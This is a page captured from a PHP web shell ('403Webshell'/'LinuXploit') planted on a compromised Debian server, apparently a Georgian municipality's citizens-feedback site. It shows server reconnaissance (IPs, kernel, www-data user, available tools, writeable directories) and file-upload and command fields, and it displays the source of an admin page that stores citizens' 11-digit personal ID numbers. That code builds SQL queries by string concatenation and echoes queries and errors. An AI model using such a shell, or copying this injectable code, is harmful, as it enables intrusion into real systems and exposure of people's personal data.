403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli_new/Citizens_feedback/admin/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli_new/Citizens_feedback/admin/pages/PersonalIDs.php
<div class="page-container" id="page-container">
    <!-- BEGIN MAIN CONTENT -->
    <div class="main_content">
        <!-- BEGIN WRAPPER -->
        <div class="content-wrapper" style="padding-top: 80px; padding-bottom: 80px">
			
<?php
if($_SESSION['E_'.$Action]==1)
if($Action=='PersonalIDs'){ // ==================== 

if(isset($_POST['IDs'])){
	$IDs=$post['IDs'];
	// $IDs=str_replace(chr(10),chr(13),$IDs);
	$IDs=explode(chr(13),trim($IDs));
	foreach($IDs as $ID){
		list($ID,$ProgID)=explode(chr(9),$ID.chr(9));
		$ID=preg_replace('/[^0-9]/','',$ID);
		$ID=preg_replace('/\s+/', '', $ID);
		$ProgID=(int)$ProgID;
		//echo $ID,' ',$ProgID,'<br>';
		if(strlen($ID)==11){
			$ProgIDs=array();
			$PID=0;
			$ptk=mysqli_query($baza,'select * from cf_PersonalIDs where PersonalIDs="'.$ID.'"');
			if($row=mysqli_fetch_array($ptk)){
				$ProgIDs=$row['ProgramIDs'];
				if($ProgIDs!='') $ProgIDs=json_decode($ProgIDs,true);
				$PID=$row['ID'];
				}
			if($ProgID>0)
				if(!in_array($ProgID,$ProgIDs)) 
					$ProgIDs[]=$ProgID;
			$ProgIDs=addslashes(json_encode($ProgIDs,256));
			if($PID==0)
				$sql='insert into cf_PersonalIDs (PersonalIDs, ProgramIDs) values ("'.$ID.'","'.$ProgIDs.'")';
			else 
				$sql='update cf_PersonalIDs set ProgramIDs="'.$ProgIDs.'" where PersonalIDs='.$ID;
			
			echo $sql;
			$ptk=mysqli_query($baza,$sql);
			if(!$ptk) echo mysqli_error($baza).'<br>'.$sql.'<br><br>';
			}else
			echo 'არასწორი ჩანაწერი: '.$ID.'<br>';
		}
	}
	
?>
<div class="inlineDiv" align="center">
	<form action="?Action=<?=$Action?>" method="post" enctype="multipart/form-data">
		<table border="1" cellspacing="0" cellpadding="5" class="normal" align="center" style="border-collapse:collapse; margin-top:20px">
		<thead><tr><td>პირადი ნომრების შეტანა</td></thead>
		<tr><td>11 ციფრიანი ნომრები [tab] პროგრ.ID<br>
			<textarea name="IDs"  rows="10" style="width: 100%"></textarea>
		</td></tr>
		<tr><td align="center" colspan="10"><input type="submit" value="შეტანა"></td>
		</table>
	</form>
</div>
	
	 
	
	
<div class="inlineDiv" align="center">
	<table border="1" cellspacing="0" cellpadding="5" class="normal PIDTable" align="center" style="border-collapse:collapse; margin-top:20px">
		<thead><tr><td>პირადი ნომრები</td><td colspan="10"></td></tr></thead>
		<tbody>
	<?php
	$Count=0;
	$sql='select count(*) as cc from cf_PersonalIDs'; 
	$ptk=mysqli_query($baza,$sql);
	if($row=mysqli_fetch_array($ptk,1))
		$Count=$row['cc'];
	if(isset($_GET['st'])) $st=(int)$_GET['st']; else $st=0;
	$RowsPerPage=50;
	$sql='select * from cf_PersonalIDs order by PersonalIDs limit '.$st.','.$RowsPerPage; 
	$ptk=mysqli_query($baza,$sql);
	while($row=mysqli_fetch_array($ptk,1)){
			?>
		<tr num="<?=$row['ID']?>">
			<td ><?=$row['PersonalIDs']?></td>
			<td><span class="delete"></span></td>
		</tr>
		<?php } ?>
		</tbody>
		<tfooter>
		<tr><td colspan="20" align="center"><?php 
			Paging($Count, $st, $RowsPerPage, $url='');
			?></td></tr>
		</tfooter>
	</table>
</div>	
<script>
$('.PIDTable .delete').click(function(){
	var tr=$(this).closest('tr');
	var id=$(tr).attr('num');
	if(confirmMessage('ID-ს წაშლა',''))
		$.ajax({
			url:'interactive.php',
			type:'post',
			dataType:'text',
			data:{f:'deleePersonalID',id:id}
		}).done(function(data){
			if(data==1)
				$(tr).remove();
		}).fail(function(data){
			console.log('fail=',data)
		})
	
})
</script>
	<?php  } ?>
</div> 	</div> 	</div> 

Youez - 2016 - github.com/yon3zu
LinuXploit